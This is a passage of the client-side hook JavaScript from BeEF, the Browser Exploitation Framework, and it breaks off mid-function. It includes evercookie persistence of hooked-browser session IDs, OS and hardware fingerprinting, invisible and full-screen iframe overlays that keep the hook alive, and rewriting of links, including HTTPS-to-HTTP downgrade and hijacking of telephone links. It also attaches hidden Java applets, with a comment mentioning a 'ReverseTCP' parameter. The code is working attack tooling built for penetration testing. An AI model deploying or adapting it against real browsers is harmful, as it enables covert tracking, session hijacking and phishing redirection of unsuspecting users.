  8357. * @example: var hook_session_id = beef.session.get_hook_session_id();
  8358. */
  8359. get_hook_session_id: function() {
  8360. // check if the browser is already known to the framework
  8361. var id = this.ec.evercookie_cookie(beef.session.beefhook);
  8362. if (typeof id == 'undefined') {
  8363. var id = this.ec.evercookie_userdata(beef.session.beefhook);
  8364. }
  8365. if (typeof id == 'undefined') {
  8366. var id = this.ec.evercookie_window(beef.session.beefhook);
  8367. }
  8368.  
  8369. // if the browser is not known create a hook session id and set it
  8370. if ((typeof id == 'undefined') || (id == null)) {
  8371. id = this.gen_hook_session_id();
  8372. this.set_hook_session_id(id);
  8373. }
  8374.  
  8375. // return the hooked browser session identifier
  8376. return id;
  8377. },
  8378.  
  8379. /**
  8380. * Sets a string which will be used to identify the hooked browser session
  8381. *
  8382. * @example: beef.session.set_hook_session_id('RANDOMSTRING');
  8383. */
  8384. set_hook_session_id: function(id) {
  8385. // persist the hook session id
  8386. this.ec.evercookie_cookie(beef.session.beefhook, id);
  8387. this.ec.evercookie_userdata(beef.session.beefhook, id);
  8388. this.ec.evercookie_window(beef.session.beefhook, id);
  8389. },
  8390.  
  8391. /**
  8392. * Generates a random string using the chars in hook_session_id_chars.
  8393. *
  8394. * @example: beef.session.gen_hook_session_id();
  8395. */
  8396. gen_hook_session_id: function() {
  8397. // init the return value
  8398. var hook_session_id = "";
  8399.  
  8400. // construct the random string
  8401. for(var i=0; i<this.hook_session_id_length; i++) {
  8402. var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
  8403. hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  8404. }
  8405.  
  8406. return hook_session_id;
  8407. }
  8408. };
  8409.  
  8410. beef.regCmp('beef.session');
  8411.  
  8412.  
  8413. //
  8414. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  8415. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8416. // See the file 'doc/COPYING' for copying permission
  8417. //
  8418.  
  8419. beef.os = {
  8420.  
  8421. ua: navigator.userAgent,
  8422.  
  8423. /**
  8424. * Detect default browser (IE only)
  8425. * Written by unsticky
  8426. * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
  8427. */
  8428. getDefaultBrowser: function() {
  8429. var result = "Unknown"
  8430. try {
  8431. var mt = document.mimeType;
  8432. if (mt) {
  8433. if (mt == "Safari Document") result = "Safari";
  8434. if (mt == "Firefox HTML Document") result = "Firefox";
  8435. if (mt == "Chrome HTML Document") result = "Chrome";
  8436. if (mt == "HTML Document") result = "Internet Explorer";
  8437. if (mt == "Opera Web Document") result = "Opera";
  8438. }
  8439. } catch (e) {
  8440. beef.debug("[os] getDefaultBrowser: "+e.message);
  8441. }
  8442. return result;
  8443. },
  8444.  
  8445. // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
  8446. isWin311: function() {
  8447. return (this.ua.match('(Win16)')) ? true : false;
  8448. },
  8449.  
  8450. isWinNT4: function() {
  8451. return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  8452. },
  8453.  
  8454. isWin95: function() {
  8455. return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
  8456. },
  8457. isWinCE: function() {
  8458. return (this.ua.match('(Windows CE)')) ? true : false;
  8459. },
  8460.  
  8461. isWin98: function() {
  8462. return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  8463. },
  8464.  
  8465. isWinME: function() {
  8466. return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
  8467. },
  8468.  
  8469. isWin2000: function() {
  8470. return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
  8471. },
  8472.  
  8473. isWin2000SP1: function() {
  8474. return (this.ua.match('Windows NT 5.01 ')) ? true : false;
  8475. },
  8476.  
  8477. isWinXP: function() {
  8478. return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
  8479. },
  8480.  
  8481. isWinServer2003: function() {
  8482. return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  8483. },
  8484.  
  8485. isWinVista: function() {
  8486. return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  8487. },
  8488.  
  8489. isWin7: function() {
  8490. return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
  8491. },
  8492.  
  8493. isWin8: function() {
  8494. return (this.ua.match('(Windows NT 6.2)')) ? true : false;
  8495. },
  8496.  
  8497. isWin81: function() {
  8498. return (this.ua.match('(Windows NT 6.3)')) ? true : false;
  8499. },
  8500.  
  8501. isOpenBSD: function() {
  8502. return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  8503. },
  8504.  
  8505. isSunOS: function() {
  8506. return (this.ua.indexOf('SunOS') != -1) ? true : false;
  8507. },
  8508.  
  8509. isLinux: function() {
  8510. return (this.ua.match('(Linux)|(X11)')) ? true : false;
  8511. },
  8512.  
  8513. isMacintosh: function() {
  8514. return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
  8515. },
  8516.  
  8517. isOsxYosemite: function(){ // TODO
  8518. return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
  8519. },
  8520. isOsxMavericks: function(){ // TODO
  8521. return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
  8522. },
  8523. isOsxSnowLeopard: function(){ // TODO
  8524. return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
  8525. },
  8526. isOsxLeopard: function(){ // TODO
  8527. return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
  8528. },
  8529.  
  8530. isWinPhone: function() {
  8531. return (this.ua.match('(Windows Phone)')) ? true : false;
  8532. },
  8533.  
  8534. isIphone: function() {
  8535. return (this.ua.indexOf('iPhone') != -1) ? true : false;
  8536. },
  8537.  
  8538. isIpad: function() {
  8539. return (this.ua.indexOf('iPad') != -1) ? true : false;
  8540. },
  8541.  
  8542. isIpod: function() {
  8543. return (this.ua.indexOf('iPod') != -1) ? true : false;
  8544. },
  8545.  
  8546. isNokia: function() {
  8547. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  8548. },
  8549.  
  8550. isAndroid: function() {
  8551. return (this.ua.match('Android')) ? true : false;
  8552. },
  8553.  
  8554. isBlackBerry: function() {
  8555. return (this.ua.match('BlackBerry')) ? true : false;
  8556. },
  8557.  
  8558. isWebOS: function() {
  8559. return (this.ua.match('webOS')) ? true : false;
  8560. },
  8561.  
  8562. isQNX: function() {
  8563. return (this.ua.match('QNX')) ? true : false;
  8564. },
  8565.  
  8566. isBeOS: function() {
  8567. return (this.ua.match('BeOS')) ? true : false;
  8568. },
  8569.  
  8570. isWindows: function() {
  8571. return (this.ua.match('Windows')) ? true : false;
  8572. },
  8573.  
  8574. getName: function() {
  8575.  
  8576. if(this.isWindows()){
  8577. return 'Windows';
  8578. }
  8579.  
  8580. if(this.isMacintosh()) {
  8581. return 'OSX';
  8582. }
  8583.  
  8584. //Nokia
  8585. if(this.isNokia()) {
  8586. if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
  8587. if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
  8588. if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
  8589. }
  8590.  
  8591. // BlackBerry
  8592. if(this.isBlackBerry()) return 'BlackBerry OS';
  8593.  
  8594. // Android
  8595. if(this.isAndroid()) return 'Android';
  8596.  
  8597. // SunOS
  8598. if(this.isSunOS()) return 'SunOS';
  8599.  
  8600. //Linux
  8601. if(this.isLinux()) return 'Linux';
  8602.  
  8603. //iPhone
  8604. if (this.isIphone()) return 'iOS';
  8605. //iPad
  8606. if (this.isIpad()) return 'iOS';
  8607. //iPod
  8608. if (this.isIpod()) return 'iOS';
  8609.  
  8610. //others
  8611. if(this.isQNX()) return 'QNX';
  8612. if(this.isBeOS()) return 'BeOS';
  8613. if(this.isWebOS()) return 'webOS';
  8614.  
  8615. return 'unknown';
  8616. },
  8617.  
  8618. getVersion: function(){
  8619. //Windows
  8620. if(this.isWindows()) {
  8621. if (this.isWin81()) return '8.1';
  8622. if (this.isWin8()) return '8';
  8623. if (this.isWin7()) return '7';
  8624. if (this.isWinVista()) return 'Vista';
  8625. if (this.isWinXP()) return 'XP';
  8626. if (this.isWinServer2003()) return 'Server 2003';
  8627. if (this.isWin2000SP1()) return '2000 SP1';
  8628. if (this.isWin2000()) return '2000';
  8629. if (this.isWinME()) return 'Millenium';
  8630.  
  8631. if (this.isWinNT4()) return 'NT 4';
  8632. if (this.isWinCE()) return 'CE';
  8633. if (this.isWin95()) return '95';
  8634. if (this.isWin98()) return '98';
  8635. }
  8636.  
  8637. // OS X
  8638. if(this.isMacintosh()) {
  8639. if (this.isOsxYosemite()) return '10.10';
  8640. if (this.isOsxMavericks()) return '10.9';
  8641. if (this.isOsxSnowLeopard()) return '10.8';
  8642. if (this.isOsxLeopard()) return '10.7';
  8643. }
  8644.  
  8645. // TODO add Android/iOS version detection
  8646. }
  8647. };
  8648.  
  8649. beef.regCmp('beef.net.os');
  8650.  
  8651.  
  8652. //
  8653. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  8654. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8655. // See the file 'doc/COPYING' for copying permission
  8656. //
  8657.  
  8658. beef.hardware = {
  8659.  
  8660. ua: navigator.userAgent,
  8661.  
  8662. /*
  8663. * @return: {String} CPU type
  8664. **/
  8665. cpuType: function() {
  8666. var arch = 'UNKNOWN';
  8667. // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
  8668. // in detecting the OS arch rather than the browser build
  8669. if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
  8670. arch = 'x86_64';
  8671. }else if(typeof navigator.cpuClass != 'undefined'){
  8672. switch (navigator.cpuClass) {
  8673. case '68K':
  8674. arch = 'Motorola 68K';
  8675. break;
  8676. case 'PPC':
  8677. arch = 'Motorola PPC';
  8678. break;
  8679. case 'Digital':
  8680. arch = 'Alpha';
  8681. break;
  8682. default:
  8683. arch = 'x86';
  8684. }
  8685. }
  8686. // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
  8687. // For example, if OSX is at least 10.7, most certainly is 64 bit.
  8688. return arch;
  8689. },
  8690.  
  8691. /*
  8692. * @return: {Boolean} true or false.
  8693. **/
  8694. isTouchEnabled: function() {
  8695. if ('ontouchstart' in document) return true;
  8696. return false;
  8697. },
  8698.  
  8699. /*
  8700. * @return: {Boolean} true or false.
  8701. **/
  8702. isVirtualMachine: function() {
  8703. if (screen.width % 2 || screen.height % 2) return true;
  8704. return false;
  8705. },
  8706.  
  8707. /*
  8708. * @return: {Boolean} true or false.
  8709. **/
  8710. isLaptop: function() {
  8711. // Most common laptop screen resolution
  8712. if (screen.width == 1366 && screen.height == 768) return true;
  8713. // Netbooks
  8714. if (screen.width == 1024 && screen.height == 600) return true;
  8715. return false;
  8716. },
  8717.  
  8718. /*
  8719. * @return: {Boolean} true or false.
  8720. **/
  8721. isNokia: function() {
  8722. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  8723. },
  8724.  
  8725. /*
  8726. * @return: {Boolean} true or false.
  8727. **/
  8728. isZune: function() {
  8729. return (this.ua.match('ZuneWP7')) ? true : false;
  8730. },
  8731.  
  8732. /*
  8733. * @return: {Boolean} true or false.
  8734. **/
  8735. isHtc: function() {
  8736. return (this.ua.match('HTC')) ? true : false;
  8737. },
  8738.  
  8739. /*
  8740. * @return: {Boolean} true or false.
  8741. **/
  8742. isEricsson: function() {
  8743. return (this.ua.match('Ericsson')) ? true : false;
  8744. },
  8745.  
  8746. /*
  8747. * @return: {Boolean} true or false.
  8748. **/
  8749. isMotorola: function() {
  8750. return (this.ua.match('Motorola')) ? true : false;
  8751. },
  8752.  
  8753. /*
  8754. * @return: {Boolean} true or false.
  8755. **/
  8756. isGoogle: function() {
  8757. return (this.ua.match('Nexus One')) ? true : false;
  8758. },
  8759.  
  8760. /**
  8761. * Returns true if the browser is on a Mobile Phone
  8762. * @return: {Boolean} true or false
  8763. *
  8764. * @example: if(beef.hardware.isMobilePhone()) { ... }
  8765. **/
  8766. isMobilePhone: function() {
  8767. return DetectMobileQuick();
  8768. },
  8769.  
  8770. getName: function() {
  8771. var ua = navigator.userAgent.toLowerCase();
  8772. if(DetectIphone()) { return "iPhone"};
  8773. if(DetectIpod()) { return "iPod Touch"};
  8774. if(DetectIpad()) { return "iPad"};
  8775. if (this.isHtc()) { return 'HTC'};
  8776. if (this.isMotorola()) { return 'Motorola'};
  8777. if (this.isZune()) { return 'Zune'};
  8778. if (this.isGoogle()) { return 'Google Nexus One'};
  8779. if (this.isEricsson()) { return 'Ericsson'};
  8780. if(DetectAndroidPhone()) { return "Android Phone"};
  8781. if(DetectAndroidTablet()) { return "Android Tablet"};
  8782. if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
  8783. if(ua.search(deviceS60) > -1) { return "Nokia S60"};
  8784. if(ua.search(deviceS70) > -1) { return "Nokia S70"};
  8785. if(ua.search(deviceS80) > -1) { return "Nokia S80"};
  8786. if(ua.search(deviceS90) > -1) { return "Nokia S90"};
  8787. if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
  8788. if (this.isNokia()) { return 'Nokia'};
  8789. if(DetectWindowsPhone7()) { return "Windows Phone 7"};
  8790. if(DetectWindowsMobile()) { return "Windows Mobile"};
  8791. if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
  8792. if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
  8793. if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
  8794. if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
  8795. if(DetectBlackBerry()) { return "BlackBerry"};
  8796. if(DetectPalmOS()) { return "Palm OS"};
  8797. if(DetectPalmWebOS()) { return "Palm Web OS"};
  8798. if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
  8799. if(DetectArchos()) { return "Archos"}
  8800. if(DetectBrewDevice()) { return "Brew"};
  8801. if(DetectDangerHiptop()) { return "Danger Hiptop"};
  8802. if(DetectMaemoTablet()) { return "Maemo Tablet"};
  8803. if(DetectSonyMylo()) { return "Sony Mylo"};
  8804. if(DetectAmazonSilk()) { return "Kindle Fire"};
  8805. if(DetectKindle()) { return "Kindle"};
  8806. if(DetectSonyPlaystation()) { return "Playstation"};
  8807. if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
  8808. if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
  8809. if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
  8810. if(DetectXbox()) { return "Xbox"};
  8811. if(this.isLaptop()) { return "Laptop"};
  8812. if(this.isVirtualMachine()) { return "Virtual Machine"};
  8813.  
  8814. return 'Unknown';
  8815. }
  8816. };
  8817.  
  8818. beef.regCmp('beef.hardware');
  8819.  
  8820.  
  8821. //
  8822. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  8823. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8824. // See the file 'doc/COPYING' for copying permission
  8825. //
  8826.  
  8827. /*!
  8828. * @literal object: beef.dom
  8829. *
  8830. * Provides functionality to manipulate the DOM.
  8831. */
  8832. beef.dom = {
  8833.  
  8834. /**
  8835. * Generates a random ID for HTML elements
  8836. * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
  8837. * @return: generated id
  8838. */
  8839. generateID: function(prefix) {
  8840. return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
  8841. },
  8842.  
  8843. /**
  8844. * Creates a new element but does not append it to the DOM.
  8845. * @param: {String} the name of the element.
  8846. * @param: {Literal Object} the attributes of that element.
  8847. * @return: the created element.
  8848. */
  8849. createElement: function(type, attributes) {
  8850. var el = document.createElement(type);
  8851.  
  8852. for(index in attributes) {
  8853. if(typeof attributes[index] == 'string') {
  8854. el.setAttribute(index, attributes[index]);
  8855. }
  8856. }
  8857.  
  8858. return el;
  8859. },
  8860.  
  8861. /**
  8862. * Removes element from the DOM.
  8863. * @param: {String or DOM Object} the target element to be removed.
  8864. */
  8865. removeElement: function(el) {
  8866. if (!beef.dom.isDOMElement(el))
  8867. {
  8868. el = document.getElementById(el);
  8869. }
  8870. try {
  8871. el.parentNode.removeChild(el);
  8872. } catch (e) { }
  8873. },
  8874.  
  8875. /**
  8876. * Tests if the object is a DOM element.
  8877. * @param: {Object} the DOM element.
  8878. * @return: true if the object is a DOM element.
  8879. */
  8880. isDOMElement: function(obj) {
  8881. return (obj.nodeType) ? true : false;
  8882. },
  8883.  
  8884. /**
  8885. * Creates an invisible iframe on the hook browser's page.
  8886. * @return: the iframe.
  8887. */
  8888. createInvisibleIframe: function() {
  8889. var iframe = this.createElement('iframe', {
  8890. width: '1px',
  8891. height: '1px',
  8892. style: 'visibility:hidden;'
  8893. });
  8894.  
  8895. document.body.appendChild(iframe);
  8896.  
  8897. return iframe;
  8898. },
  8899.  
  8900. /**
  8901. * Returns the highest current z-index
  8902. * @param: {Boolean} whether to return an associative array with the height AND the ID of the
  8903.  
  8904. element
  8905. * @return: {Integer} Highest z-index in the DOM
  8906. * OR
  8907. * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT,
  8908.  
  8909. 'elem': STRING}
  8910. */
  8911. getHighestZindex: function(include_id) {
  8912. var highest = {'height':0, 'elem':''};
  8913. $j('*').each(function() {
  8914. var current_high = parseInt($j(this).css("zIndex"),10);
  8915. if (current_high > highest.height) {
  8916. highest.height = current_high;
  8917. highest.elem = $j(this).attr('id');
  8918. }
  8919. });
  8920.  
  8921. if (include_id) {
  8922. return highest;
  8923. } else {
  8924. return highest.height;
  8925. }
  8926. },
  8927.  
  8928. /**
  8929. * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's
  8930.  
  8931. 'params' parameter
  8932. * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
  8933. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  8934. * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
  8935. * @param: {Hash} params: list of params that will be sent in request.
  8936. * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the
  8937.  
  8938. type parameter
  8939. * @param: {Function} a callback function to fire once the iFrame has loaded
  8940. * @return: {Object} the inserted iFrame
  8941. *
  8942. */
  8943. createIframe: function(type, params, styles, onload) {
  8944. var css = {};
  8945.  
  8946. if (type == 'hidden') {
  8947. css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none',
  8948.  
  8949. 'visibility':'hidden'}, styles);
  8950. } else if (type == 'fullscreen') {
  8951. css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%',
  8952.  
  8953. 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
  8954. $j('body').css({'padding':'0px', 'margin':'0px'});
  8955. } else {
  8956. css = styles;
  8957. $j('body').css({'padding':'0px', 'margin':'0px'});
  8958. }
  8959. var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
  8960.  
  8961. return iframe;
  8962. },
  8963.  
  8964. /**
  8965. * Load the link (href value) in an overlay foreground iFrame.
  8966. * The BeEF hook continues to run in background.
  8967. * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
  8968. * Framebusting techniques, this will not work.
  8969. */
  8970. persistentIframe: function(){
  8971. $j('a').click(function(e) {
  8972. if ($j(this).attr('href') != '')
  8973. {
  8974. e.preventDefault();
  8975. beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
  8976. $j(document).attr('title', $j(this).html());
  8977. document.body.scroll = "no";
  8978. document.documentElement.style.overflow = 'hidden';
  8979. }
  8980. });
  8981. },
  8982.  
  8983. /**
  8984. * Load a full screen div that is black, or, transparent
  8985. * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
  8986. * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
  8987. * opacity:0-100 // Lower number = less grayout higher = more of a blackout
  8988. * // By default this is 70
  8989. * zindex: # // HTML elements with a higher zindex appear on top of the gray out
  8990. * // By default this will use beef.dom.getHighestZindex to always go to the top
  8991. * bgcolor: (#xxxxxx) // Standard RGB Hex color code
  8992. * // By default this is #000000
  8993. */
  8994. grayOut: function(vis, options) {
  8995. // in any order. Pass only the properties you need to set.
  8996. var options = options || {};
  8997. var zindex = options.zindex || beef.dom.getHighestZindex()+1;
  8998. var opacity = options.opacity || 70;
  8999. var opaque = (opacity / 100);
  9000. var bgcolor = options.bgcolor || '#000000';
  9001. var dark=document.getElementById('darkenScreenObject');
  9002. if (!dark) {
  9003. // The dark layer doesn't exist, it's never been created. So we'll
  9004. // create it here and apply some basic styles.
  9005. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
  9006. var tbody = document.getElementsByTagName("body")[0];
  9007. var tnode = document.createElement('div'); // Create the layer.
  9008. tnode.style.position='absolute'; // Position absolutely
  9009. tnode.style.top='0px'; // In the top
  9010. tnode.style.left='0px'; // Left corner of the page
  9011. tnode.style.overflow='hidden'; // Try to avoid making scroll bars
  9012. tnode.style.display='none'; // Start out Hidden
  9013. tnode.id='darkenScreenObject'; // Name it so we can find it later
  9014. tbody.appendChild(tnode); // Add it to the web page
  9015. dark=document.getElementById('darkenScreenObject'); // Get the object.
  9016. }
  9017. if (vis) {
  9018. // Calculate the page width and height
  9019. if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
  9020. var pageWidth = document.body.scrollWidth+'px';
  9021. var pageHeight = document.body.scrollHeight+'px';
  9022. } else if( document.body.offsetWidth ) {
  9023. var pageWidth = document.body.offsetWidth+'px';
  9024. var pageHeight = document.body.offsetHeight+'px';
  9025. } else {
  9026. var pageWidth='100%';
  9027. var pageHeight='100%';
  9028. }
  9029. //set the shader to cover the entire page and make it visible.
  9030. dark.style.opacity=opaque;
  9031. dark.style.MozOpacity=opaque;
  9032. dark.style.filter='alpha(opacity='+opacity+')';
  9033. dark.style.zIndex=zindex;
  9034. dark.style.backgroundColor=bgcolor;
  9035. dark.style.width= pageWidth;
  9036. dark.style.height= pageHeight;
  9037. dark.style.display='block';
  9038. } else {
  9039. dark.style.display='none';
  9040. }
  9041. },
  9042.  
  9043. /**
  9044. * Remove all external and internal stylesheets from the current page - sometimes prior to socially
  9045.  
  9046. engineering,
  9047. * or, re-writing a document this is useful.
  9048. */
  9049. removeStylesheets: function() {
  9050. $j('link[rel=stylesheet]').remove();
  9051. $j('style').remove();
  9052. },
  9053.  
  9054. /**
  9055. * Create a form element with the specified parameters, appending it to the DOM if append == true
  9056. * @param: {Hash} params: params to be applied to the form element
  9057. * @param: {Boolean} append: automatically append the form to the body
  9058. * @return: {Object} a form object
  9059. */
  9060. createForm: function(params, append) {
  9061. var form = $j('<form></form>').attr(params);
  9062. if (append)
  9063. $j('body').append(form);
  9064. return form;
  9065. },
  9066.  
  9067. /**
  9068. * Get the location of the current page.
  9069. * @return: the location.
  9070. */
  9071. getLocation: function() {
  9072. return document.location.href;
  9073. },
  9074.  
  9075. /**
  9076. * Get links of the current page.
  9077. * @return: array of URLs.
  9078. */
  9079. getLinks: function() {
  9080. var linksarray = [];
  9081. var links = document.links;
  9082. for(var i = 0; i<links.length; i++) {
  9083. linksarray = linksarray.concat(links[i].href)
  9084. };
  9085. return linksarray
  9086. },
  9087.  
  9088. /**
  9089. * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
  9090. * @param: {String} url: the url to be rewritten
  9091. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  9092. * @return: {Number} the amount of links found in the DOM and rewritten.
  9093. */
  9094. rewriteLinks: function(url, selector) {
  9095. var sel = (selector == null) ? 'a' : selector;
  9096. return $j(sel).each(function() {
  9097. if ($j(this).attr('href') != null)
  9098. {
  9099. $j(this).attr('href', url).click(function() { return true; });
  9100. }
  9101. }).length;
  9102. },
  9103.  
  9104. /**
  9105. * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event
  9106.  
  9107. overwriting.
  9108. * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
  9109. * @param: {String} url: the url to be rewritten
  9110. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  9111. * @return: {Number} the amount of links found in the DOM and rewritten.
  9112. */
  9113. rewriteLinksClickEvents: function(url, selector) {
  9114. var sel = (selector == null) ? 'a' : selector;
  9115. return $j(sel).each(function() {
  9116. if ($j(this).attr('href') != null)
  9117. {
  9118. $j(this).click(function() {this.href=url});
  9119. }
  9120. }).length;
  9121. },
  9122.  
  9123. /**
  9124. * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https
  9125.  
  9126. with http)
  9127. * @param: {String} old_protocol: the old link protocol to be rewritten
  9128. * @param: {String} new_protocol: the new link protocol to be written
  9129. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  9130. * @return: {Number} the amount of links found in the DOM and rewritten.
  9131. */
  9132. rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
  9133.  
  9134. var count = 0;
  9135. var re = new RegExp(old_protocol+"://", "gi");
  9136. var sel = (selector == null) ? 'a' : selector;
  9137.  
  9138. $j(sel).each(function() {
  9139. if ($j(this).attr('href') != null) {
  9140. var url = $j(this).attr('href');
  9141. if (url.match(re)) {
  9142. $j(this).attr('href', url.replace(re, new_protocol
  9143.  
  9144. +"://")).click(function() { return true; });
  9145. count++;
  9146. }
  9147. }
  9148. });
  9149.  
  9150. return count;
  9151. },
  9152.  
  9153. /**
  9154. * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol
  9155.  
  9156. handler) with a new telephone number
  9157. * @param: {String} new_number: the new link telephone number to be written
  9158. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  9159. * @return: {Number} the amount of links found in the DOM and rewritten.
  9160. */
  9161. rewriteTelLinks: function(new_number, selector) {
  9162.  
  9163. var count = 0;
  9164. var re = new RegExp("tel:/?/?.*", "gi");
  9165. var sel = (selector == null) ? 'a' : selector;
  9166.  
  9167. $j(sel).each(function() {
  9168. if ($j(this).attr('href') != null) {
  9169. var url = $j(this).attr('href');
  9170. if (url.match(re)) {
  9171. $j(this).attr('href', url.replace(re,
  9172.  
  9173. "tel:"+new_number)).click(function() { return true; });
  9174. count++;
  9175. }
  9176. }
  9177. });
  9178.  
  9179. return count;
  9180. },
  9181.  
  9182. /**
  9183. * Given an array of objects (key/value), return a string of param tags ready to append in
  9184.  
  9185. applet/object/embed
  9186. * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
  9187. * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param
  9188.  
  9189. name='abc' value='test' />).
  9190. */
  9191. parseAppletParams: function(params){
  9192. var result = '';
  9193. for (i in params){
  9194. var param = params[i];
  9195. for(key in param){
  9196. result += "<param name='" + key + "' value='" + param[key] + "' />";
  9197. }
  9198. }
  9199. return result;
  9200. },
  9201.  
  9202. /**
  9203. * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
  9204. * example usage in the code, using a JAR archive (recommended and faster):
  9205. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null,
  9206.  
  9207. 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
  9208. * example usage in the code, using codebase:
  9209. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
  9210. * @params: {String} id: reference identifier to the applet.
  9211. * @params: {String} code: name of the class to be loaded. For example, beef.class.
  9212. * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an
  9213.  
  9214. unsigned applet).
  9215. * @params: {String} archive: the jar that contains the code.
  9216. * @params: {String} params: an array of additional params that the applet except.
  9217. */
  9218. attachApplet: function(id, name, code, codebase, archive, params) {
  9219. var content = null;
  9220. if (beef.browser.isIE()) {
  9221. content = "" + // the classid means 'use the latest JRE available to launch the applet'
  9222. "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
  9223. "height='0' width='0' name='" + name + "'> " +
  9224. "<param name='code' value='" + code + "' />";
  9225.  
  9226. if (codebase != null) {
  9227. content += "<param name='codebase' value='" + codebase + "' />"
  9228. }
  9229. if (archive != null){
  9230. content += "<param name='archive' value='" + archive + "' />";
  9231. }
  9232. if (params != null) {
  9233. content += beef.dom.parseAppletParams(params);
  9234. }
  9235. content += "</object>";
  9236. }
  9237. if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
  9238.  
  9239. if (codebase != null) {
  9240. content = "" +
  9241. "<applet id='" + id + "' code='" + code + "' " +
  9242. "codebase='" + codebase + "' " +
  9243. "height='0' width='0' name='" + name + "'>";
  9244. } else {
  9245. content = "" +
  9246. "<applet id='" + id + "' code='" + code + "' " +
  9247. "archive='" + archive + "' " +
  9248. "height='0' width='0' name='" + name + "'>";
  9249. }
  9250.  
  9251. if (params != null) {
  9252. content += beef.dom.parseAppletParams(params);
  9253. }
  9254. content += "</applet>";
  9255. }
  9256. // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag
  9257.  
  9258. rather than the applet tag.
  9259. // if (beef.browser.isFF()) {
  9260. // if (codebase != null) {
  9261. // content = "" +
  9262. // "<embed id='" + id + "' code='" + code + "' " +
  9263. // "type='application/x-java-applet' codebase='" + codebase + "' " +
  9264. // "height='0' width='0' name='" + name + "'>";
  9265. // } else {
  9266. // content = "" +
  9267. // "<embed id='" + id + "' code='" + code + "' " +
